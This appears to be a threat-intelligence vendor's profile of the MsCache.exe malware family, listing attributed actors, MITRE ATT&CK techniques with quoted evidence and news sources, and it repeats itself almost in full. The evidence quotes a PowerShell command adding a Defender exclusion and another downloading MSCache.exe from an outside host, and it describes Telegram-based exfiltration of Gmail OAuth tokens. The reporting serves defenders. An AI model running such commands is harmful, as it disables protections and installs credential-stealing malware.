MalwareUsed by 2 actors

MsCache.exe

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

MOIS

Malware sample, MsCache.exe, performs authorization, acquiring, and exfiltrating OAtuh authentication tokens for Gmail accounts and corresponding email addresses.

via ic3 alertsic3.gov

Handala

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.ex e, to quietly bundle up your files and send them back to their own servers.

via hackreadhackread.com

MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1566PhishingEvidence1

Typically, they pose as technical support or even a friend on social media, and after gaining your trust, they’ll send over a file that looks like a helpful update or a new tool.

T1566.001Spearphishing AttachmentEvidence1

After gaining your trust, they’ll send over a file that looks like a helpful update or a new tool.

Execution

1 technique

T1059.001PowerShellEvidence1

powershell -Command "Add-MpPreference -ExclusionPath..." and powershell Invoke-WebRequest -Uri https://micbucket.ams1.vultrobjects.com/MSCache.exe.

Persistence

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Furthermore, a reference to malware was added to the Windows registry to autorun stage 2 malware. Stage 2 malware samples served as persistent implants.

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Furthermore, a reference to malware was added to the Windows registry to autorun stage 2 malware. Stage 2 malware samples served as persistent implants.

Stealth

2 techniques

T1036MasqueradingEvidence1

These files are named to look exactly like the real thing, such as WhatsApp.exe, Telegram_authenticator.exe, or KeePass.exe, but you are actually installing a spying tool.

T1070.004File DeletionEvidence2

MsCache.exe... Lastly, the data in %LOCALAPPDATA%\Google\Chrome\User Data\ was deleted. send_file deletes file after sending it.

Credential Access

1 technique

T1528Steal Application Access TokenEvidence1

MsCache.exe performs authorization, acquiring, and exfiltrating OAuth authentication tokens for Gmail accounts... credentials are saved to ... <email>.pickle... sent to the actor's Telegram C2.

Collection

4 techniques

T1113Screen CaptureEvidence1

The malware can record screens and audio... Functionality of the above-mentioned malware samples included: Screen recordings and audio.

T1114.001Local Email CollectionEvidence1

OutlookExtract enumerates every top-level mailbox within Outlook client via COM while extracting all messages and attachments... MsCache.exe recorded the data of each email in the mailbox.

T1123Audio CaptureEvidence1

The malware can record screens and audio... Functionality of the above-mentioned malware samples included: Screen recordings and audio.

T1560Archive Collected DataEvidence3

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.exe, to quietly bundle up your files and send them back to their own servers.

Command and Control

2 techniques

T1102.002Bidirectional CommunicationEvidence1

get_update sends POST request to https://api.telegram.org/bot<token>/getUpdates... analyze_command()... execute C2 command... send_msg(), send_file(), and send_screenshot send results to Telegram.

T1105Ingress Tool TransferEvidence1

Once the initial access was established to the victim system the malware downloaded follow-on malware.

Exfiltration

2 techniques

T1041Exfiltration Over C2 ChannelEvidence2

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.exe, to quietly bundle up your files and send them back to their own servers.

T1567Exfiltration Over Web ServiceEvidence1

The malware can... exfiltrate them via Telegram... stage compressed files to be sent to api.telelgram[.]org.

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

hackreadNews

Mar 24, 2026

FBI Warns of Iran’s Handala Hack Group Using Fake Apps to Spy on Windows Users

Second-stage malware used to package and exfiltrate victim files to attacker infrastructure following initial infection.

ic3 alertsNews

Sep 15, 2026

A PyInstaller-packaged Gmail OAuth token-stealing tool. It copies Chrome user data, uses ChromeDriver and actor-supplied OAuth client credentials to obtain Gmail authorization artifacts, serializes credentials into pickle files, exfiltrates them via Telegram, and deletes Chrome user-data content afterward.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping15

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareUsed by 2 actors

MsCache.exe

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

MOIS

Malware sample, MsCache.exe, performs authorization, acquiring, and exfiltrating OAtuh authentication tokens for Gmail accounts and corresponding email addresses.

via ic3 alertsic3.gov

Handala

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.ex e, to quietly bundle up your files and send them back to their own servers.

via hackreadhackread.com

MITRE ATT&CK

Techniques & procedures

15 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1566PhishingEvidence1

Typically, they pose as technical support or even a friend on social media, and after gaining your trust, they’ll send over a file that looks like a helpful update or a new tool.

T1566.001Spearphishing AttachmentEvidence1

After gaining your trust, they’ll send over a file that looks like a helpful update or a new tool.

Execution

1 technique

T1059.001PowerShellEvidence1

powershell -Command "Add-MpPreference -ExclusionPath..." and powershell Invoke-WebRequest -Uri https://micbucket.ams1.vultrobjects.com/MSCache.exe.

Persistence

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Furthermore, a reference to malware was added to the Windows registry to autorun stage 2 malware. Stage 2 malware samples served as persistent implants.

Privilege Escalation

1 technique

T1547.001Registry Run Keys / Startup FolderEvidence1

Furthermore, a reference to malware was added to the Windows registry to autorun stage 2 malware. Stage 2 malware samples served as persistent implants.

Stealth

2 techniques

T1036MasqueradingEvidence1

These files are named to look exactly like the real thing, such as WhatsApp.exe, Telegram_authenticator.exe, or KeePass.exe, but you are actually installing a spying tool.

T1070.004File DeletionEvidence2

MsCache.exe... Lastly, the data in %LOCALAPPDATA%\Google\Chrome\User Data\ was deleted. send_file deletes file after sending it.

Credential Access

1 technique

T1528Steal Application Access TokenEvidence1

MsCache.exe performs authorization, acquiring, and exfiltrating OAuth authentication tokens for Gmail accounts... credentials are saved to ... <email>.pickle... sent to the actor's Telegram C2.

Collection

4 techniques

T1113Screen CaptureEvidence1

The malware can record screens and audio... Functionality of the above-mentioned malware samples included: Screen recordings and audio.

T1114.001Local Email CollectionEvidence1

OutlookExtract enumerates every top-level mailbox within Outlook client via COM while extracting all messages and attachments... MsCache.exe recorded the data of each email in the mailbox.

T1123Audio CaptureEvidence1

The malware can record screens and audio... Functionality of the above-mentioned malware samples included: Screen recordings and audio.

T1560Archive Collected DataEvidence3

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.exe, to quietly bundle up your files and send them back to their own servers.

Command and Control

2 techniques

T1102.002Bidirectional CommunicationEvidence1

get_update sends POST request to https://api.telegram.org/bot<token>/getUpdates... analyze_command()... execute C2 command... send_msg(), send_file(), and send_screenshot send results to Telegram.

T1105Ingress Tool TransferEvidence1

Once the initial access was established to the victim system the malware downloaded follow-on malware.

Exfiltration

2 techniques

T1041Exfiltration Over C2 ChannelEvidence2

After infiltration, the hackers use a second stage of malware, like Winappx.exe or MsCache.exe, to quietly bundle up your files and send them back to their own servers.

T1567Exfiltration Over Web ServiceEvidence1

The malware can... exfiltrate them via Telegram... stage compressed files to be sent to api.telelgram[.]org.

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

hackreadNews

Mar 24, 2026

FBI Warns of Iran’s Handala Hack Group Using Fake Apps to Spy on Windows Users

Second-stage malware used to package and exfiltrate victim files to attacker infrastructure following initial infection.

ic3 alertsNews

Sep 15, 2026

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping15

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.